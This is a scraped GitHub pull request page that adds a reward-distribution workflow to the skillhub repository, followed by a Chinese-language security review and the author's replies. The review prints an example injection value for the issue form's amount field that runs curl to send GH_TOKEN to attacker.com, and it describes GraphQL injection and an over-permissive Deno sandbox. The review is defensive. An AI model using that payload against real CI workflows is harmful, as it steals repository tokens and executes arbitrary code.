chore: add GitHub-reward form, scripts & actions by TechQuery · Pull Request #91 · iflytek/skillhub

TechQuery · 2026-03-18T19:17:27Z

This pull request introduces a complete workflow for managing, distributing, and reporting rewards for completed issues, primarily through GitHub Actions, custom scripts, and templates. It includes new automation for reward assignment, tagging, distribution, and monthly statistics, as well as supporting scripts and type definitions.

Features

Reward Workflow Automation

Added a new issue template (reward-task.yml) for creating reward-based tasks, capturing details like description, currency, amount, and payer.
Introduced the claim-issue-reward.yml workflow to automatically distribute rewards when an issue is closed, extracting relevant data and invoking the reward-sharing script.
Implemented the share-reward.ts script to determine eligible users (excluding bots), split the reward, tag the merge commit with reward data, and comment the reward distribution on the issue.
Defined a Reward TypeScript interface to standardize reward data across scripts.

Reward Statistics and Reporting

Added the statistic-member-reward.yml workflow to run monthly, checking for new reward data and generating a summary of rewards per user and currency.
Created the count-reward.ts script to aggregate and summarize reward tags from the past month, group them by payee, and publish the statistics as a new tag and GitHub release.

Supporting Configuration

Added a minimal deno.json configuration file for script execution.

Improve auth, search, publish, token, and dashboard UX

Polish search, favorites, publish, token, and auth UX

- Rename setup-agent-worktrees.sh -> parallel-init.sh - Rename sync-agent-integration.sh -> parallel-sync.sh - Rename 13-agent-parallel-workflow.md -> 13-parallel-workflow.md - Add parallel-common.sh with shared utilities - Add parallel-up.sh (sync + dev-all in one step) - Add parallel-down.sh (stop integration stack) - Remove agent-worktrees and agent-sync Makefile targets - Remove AGENT_BASE_REF and AGENT_WORKTREE_ROOT variables - Clean up compatibility shim references in docs

refactor(dev): replace agent-* commands with parallel-* workflow

feat(i18n): set English as default fallback language

* Refactor skill lifecycle projection and docs * Improve owner lifecycle visibility on skill detail * Track download counts per skill version

* fix: keep download counts consistent across skill pages * fix: stabilize empty search ordering across sorts * fix: show disabled-account reason on login redirect * fix: mute report input placeholder text * fix: return skill detail to my skills page * test: stabilize auth context filter coverage * feat(publish): increase single file limit to 10MB * feat(publish): expand allowed file extensions * feat(publish): extend secret scanning to new text file types * feat(publish): add content validation for new file types * refactor(publish): inject configurable limits into SkillPackageArchiveExtractor * feat(publish): support zip with single root directory wrapper * feat(publish): expand determineContentType for new file types * test(publish): update tests for new upload constraints

…iflytek#82) * fix: keep download counts consistent across skill pages * fix: stabilize empty search ordering across sorts * fix: show disabled-account reason on login redirect * fix: mute report input placeholder text * fix: return skill detail to my skills page * test: stabilize auth context filter coverage * feat(publish): increase single file limit to 10MB * feat(publish): expand allowed file extensions * feat(publish): extend secret scanning to new text file types * feat(publish): add content validation for new file types * refactor(publish): inject configurable limits into SkillPackageArchiveExtractor * feat(publish): support zip with single root directory wrapper * feat(publish): expand determineContentType for new file types * test(publish): update tests for new upload constraints * fix(web): add REJECTED status label and styling to my-skills page The resolveStatusLabel and resolveStatusClassName functions were missing the REJECTED case, causing rejected skills to show raw status string with no color styling. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com> * fix: prevent deleting the last remaining version of a skill Backend: added version count check in SkillGovernanceService.deleteVersion() Frontend: hide delete button when only one version remains Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com> * test: fix and add tests for last-version deletion guard - Fix deleteVersion_removesDraftFilesAndBundle: mock findBySkillId to return 2 versions so the new guard doesn't block the happy path - Add deleteVersion_rejectsLastRemainingVersion: verify that deleting the only remaining version is rejected with the correct error code --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>

Non-admin users now see "Submitted for Review" instead of "Published Successfully" after uploading a skill, based on the status returned by the backend.

…, skill registry, layout, routing, and internationalization. (iflytek#87)

…review fix(web): show pending review toast for non-admin skill publish

Signed-off-by: 何时 <93520596+likes1234-bro@users.noreply.github.com>

Co-authored-by: TechQuery <19969570+TechQuery@users.noreply.github.com>

TechQuery · 2026-03-23T11:55:18Z

@ifytek review 意见

Critical（必须修复才能合并）

1. Shell 命令注入 — `claim-issue-reward.yml`

deno --allow-all .github/scripts/share-reward.ts \
    ${{ github.repository_owner }} \
    ${{ github.event.repository.name }} \
    ${{ github.event.issue.number }} \
    # ...
    ${{ steps.parse_issue.outputs.issueparser_amount }}  # ← 未加引号

issueparser_amount 来自 issue 表单的自由文本输入，且未加引号。攻击者只需将 amount 填写为 0; curl https://attacker.com?t=$GH_TOKEN 即可在 runner 上执行任意命令。

2. GraphQL 查询字符串注入 — `share-reward.ts`

  const PR_DATA = await $`gh api graphql -f query='{
    repository(owner: "${repositoryOwner}", name: "${repositoryName}") {
      issue(number: ${issueNumber}) {

变量被直接插值进 GraphQL 查询字符串内部，而不是作为独立参数传递。zx 的 $ 模板只对独立参数做 Shell
转义，对字符串内部的插值无效，存在 GraphQL 注入风险。

3. `deno --allow-all` 完全禁用沙箱

两个 workflow 都用了 --allow-all，Deno 的权限模型形同虚设。结合上面两个注入漏洞，攻击者一旦注入成功，拥有完全的文件读写、网络访问和子进程执行权限。应改为 --allow-run --allow-net=api.github.com --allow-env。

Important（合并前应修复）

4. 第三方 Action 未锁定到 commit SHA

  uses: actions/checkout@v6          # v6 根本不存在，行为不可预测
  uses: denoland/setup-deno@v2
  uses: stefanbuck/github-issue-parser@v3

任何一个 action 仓库被供应链攻击，恶意代码就会以 contents: write + issues: write 权限运行。应锁定到具体的
commit SHA。

5. 触发器对所有 issue 关闭都生效，没有 label 过滤

on:
  issues:
    types: [closed]

每次关闭任何 issue 都会触发，浪费 Actions 配额，也扩大了攻击面，应加上：`if: contains(github.event.issue.labels.*.name, 'reward')`。

#### 6. `GH_TOKEN` 暴露在 workflow 级别的 `env`

```yml
env:
  GH_TOKEN: ${{ github.token }}

这让所有 step（包括第三方 action）都能访问 token。应只在需要的 step 级别传入。

7. `amount` 字段在进入 Shell 之前没有数字格式校验

表单用的是自由文本 input，没有 pattern 约束，应在 workflow 里加一步校验：if ! [[ "$amount" =~ ^[0-9]+(\.[0-9]+)?$ ]]; then exit 1; fi。

Minor

git push --no-verify 绕过了 pre-push hooks
count-reward.ts 里 $(git rev-parse HEAD) 内嵌在模板字符串中，应先赋值给变量
没有 concurrency 保护，同一 issue 快速重复关闭可能产生重复 tag 和评论

结论

Critical 1 + 2 + 3 构成完整的攻击链：任何能创建 issue 的用户，填写恶意 amount 字段并关闭 issue，即可在 runner
上以 contents: write + issues: write 权限执行任意代码。这个 PR 不应在修复这三个问题之前合并。

Co-authored-by: TechQuery <19969570+TechQuery@users.noreply.github.com> Agent-Logs-Url: https://github.com/Open-Source-Bazaar/skillhub/sessions/b8bddc83-02e9-42d1-8fa5-b27b4719ff0b

wowo-zZ · 2026-04-02T00:44:53Z

仓库整体调整了一波哈，麻烦重新提交fork/commit哈，感谢感谢。

TechQuery · 2026-04-02T05:45:33Z

仓库整体调整了一波哈，麻烦重新提交fork/commit哈，感谢感谢。

@wowo-zZ 你仓库再调整，.github 文件夹的位置也不可能调整啊。

TechQuery · 2026-04-02T10:59:04Z

Important（合并前应修复）

4. 第三方 Action 未锁定到 commit SHA

  uses: actions/checkout@v6          # v6 根本不存在，行为不可预测
  uses: denoland/setup-deno@v2
  uses: stefanbuck/github-issue-parser@v3

https://github.com/actions/checkout/tree/v6/ 早已发布。

7. amount 字段在进入 Shell 之前没有数字格式校验

表单用的是自由文本 input，没有 pattern 约束，应在 workflow 里加一步校验：if ! [[ "$amount" =~ ^[0-9]+(\.[0-9]+)?$ ]]; then exit 1; fi。

数值已做校验：https://github.com/Open-Source-Bazaar/skillhub/blob/aeb21db8be0913f27eedfcd37f1e2bbcafac7bfc/.github/scripts/share-reward.ts#L85-L90

Minor

git push --no-verify 绕过了 pre-push hooks

只打记账 tag 无需执行代码检查脚本，不但大大占用 aciton 执行时间，有时还会因非记账因素导致记账失败。

count-reward.ts 里 $(git rev-parse HEAD) 内嵌在模板字符串中，应先赋值给变量

静态字符串无注入风险，用 $() 一次性提交给 Shell 执行性能好。

yun-zhi-ztl and others added 30 commits March 14, 2026 19:31

fix(dialog): portal token modal to body

a2ff5d4

fix(token): validate name length and uniqueness

82a111d

fix(skill): format publish time in local system time

7bba401

fix(dialog): keep modals centered on long pages

7f7b6d0

feat(token): paginate token list

bc5bc5a

fix(auth): validate email format on register

3df9e22

fix(stars): keep favorites data in sync

fab4e51

fix(publish): timeout stalled publish requests

795952c

fix(publish): keep publish button text color consistent

4a95a74

fix(dashboard): avoid duplicate token fetch and false error toast

bc94b15

feat(search): update results as users type

c57434f

fix(publish): clarify duplicate version upload errors

1665f2a

chore(api): add concise logs for failed core requests

5db8d33

fix(token): handle successful deletes and refresh immediately

7133b93

Merge pull request iflytek#26 from iflytek/feature/project-local

e167a7c

Improve auth, search, publish, token, and dashboard UX

fix(search): distinguish starred and rating states

dfaf47a

fix(skill): refine starred and rating visual states

90fe0c2

fix(search): make starred skills easier to spot

44e0665

feat(search): allow unstar from skill cards

636f039

feat(search): add starred-only filter

74a72e2

fix: change api/v1/cli to api/v1

3497972

fix(search): separate starred filter from sort controls

39a31fb

Merge pull request iflytek#28 from iflytek/feature/project-local

f994eab

Polish search, favorites, publish, token, and auth UX

Merge pull request iflytek#29 from iflytek/feat/parallel-workflow-v2

d254e96

refactor(dev): replace agent-* commands with parallel-* workflow

feat(i18n): set English as default fallback language

74646f5

Merge pull request iflytek#30 from iflytek/feat/default-language-english

71616c4

feat(i18n): set English as default fallback language

fix(my-skills): show pending skills after upload

753164d

fix(auth): default new users to USER role

a6f87ef

fix(auth): localize password change feedback

8061a4d

vsxd and others added 16 commits March 18, 2026 11:31

feat: add anonymous download rate limiting (iflytek#76)

3a54a0b

refactor: skill lifecycle projection and docs (iflytek#78)

f3dbbf8

* Refactor skill lifecycle projection and docs * Improve owner lifecycle visibility on skill detail * Track download counts per skill version

feat: harden download and storage resilience

04e588d

feat(web): improve skill detail overview UX and markdown highlighting

98bc43c

refactor: unify backend time handling in utc

6649191

fix: preserve local timezone in token expiration UI

578ea1f

test: align my skill app service star timestamps

ec9e814

fix(web): show pending review toast for non-admin skill publish

92f7c7d

Non-admin users now see "Submitted for Review" instead of "Published Successfully" after uploading a skill, based on the status returned by the backend.

feat: Implement core web application structure including landing page…

b4af952

…, skill registry, layout, routing, and internationalization. (iflytek#87)

Merge pull request iflytek#86 from iflytek/fix/publish-toast-pending-…

3075b34

…review fix(web): show pending review toast for non-admin skill publish

Update README.md (iflytek#85)

fff7d47

Signed-off-by: 何时 <93520596+likes1234-bro@users.noreply.github.com>

Serve registry skill docs from nginx

47a88fa

Initial plan

c81a174

chore: install GitHub-reward from idea2app/GitHub-reward

179d860

Co-authored-by: TechQuery <19969570+TechQuery@users.noreply.github.com>

TechQuery mentioned this pull request Mar 25, 2026

chore: install GitHub-reward from idea2app/GitHub-reward Open-Source-Bazaar/skillhub#1

Closed

4 tasks

fix: address security review issues in GitHub-reward workflows

7944896

Co-authored-by: TechQuery <19969570+TechQuery@users.noreply.github.com> Agent-Logs-Url: https://github.com/Open-Source-Bazaar/skillhub/sessions/b8bddc83-02e9-42d1-8fa5-b27b4719ff0b

wowo-zZ force-pushed the main branch 4 times, most recently from 2a8fbfc to 3e4a4bc Compare April 1, 2026 13:41

[optimize] simplify Copilot codes

aeb21db

TechQuery added a commit to idea2app/GitHub-reward that referenced this pull request Apr 2, 2026

[fix] some Critical bugs (iflytek/skillhub#91 (comment))

0d8af4d

TechQuery closed this Apr 2, 2026

TechQuery mentioned this pull request Apr 2, 2026

chore: add GitHub-reward form, scripts & actions #221

Open

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore: add GitHub-reward form, scripts & actions#91

chore: add GitHub-reward form, scripts & actions#91
TechQuery wants to merge 378 commits intoiflytek:mainfrom
Open-Source-Bazaar:copilot/add-github-reward-installation

TechQuery commented Mar 18, 2026

Uh oh!

TechQuery commented Mar 23, 2026 •

edited

Loading

Uh oh!

wowo-zZ commented Apr 2, 2026

Uh oh!

TechQuery commented Apr 2, 2026 •

edited

Loading

Uh oh!

TechQuery commented Apr 2, 2026

Important（合并前应修复）

4. 第三方 Action 未锁定到 commit SHA

7. `amount` 字段在进入 Shell 之前没有数字格式校验

Minor

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

10 participants

Conversation

TechQuery commented Mar 18, 2026

Features

Reward Workflow Automation

Reward Statistics and Reporting

Supporting Configuration

Uh oh!

TechQuery commented Mar 23, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

@ifytek review 意见

Critical（必须修复才能合并）

1. Shell 命令注入 — claim-issue-reward.yml

2. GraphQL 查询字符串注入 — share-reward.ts

3. deno --allow-all 完全禁用沙箱

Important（合并前应修复）

4. 第三方 Action 未锁定到 commit SHA

5. 触发器对所有 issue 关闭都生效，没有 label 过滤

7. amount 字段在进入 Shell 之前没有数字格式校验

Minor

结论

Uh oh!

wowo-zZ commented Apr 2, 2026

Uh oh!

TechQuery commented Apr 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

TechQuery commented Apr 2, 2026

Important（合并前应修复）

4. 第三方 Action 未锁定到 commit SHA

7. amount 字段在进入 Shell 之前没有数字格式校验

Minor

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

10 participants

TechQuery commented Mar 23, 2026 •

edited

Loading

1. Shell 命令注入 — `claim-issue-reward.yml`

2. GraphQL 查询字符串注入 — `share-reward.ts`

3. `deno --allow-all` 完全禁用沙箱

7. `amount` 字段在进入 Shell 之前没有数字格式校验

TechQuery commented Apr 2, 2026 •

edited

Loading

7. `amount` 字段在进入 Shell 之前没有数字格式校验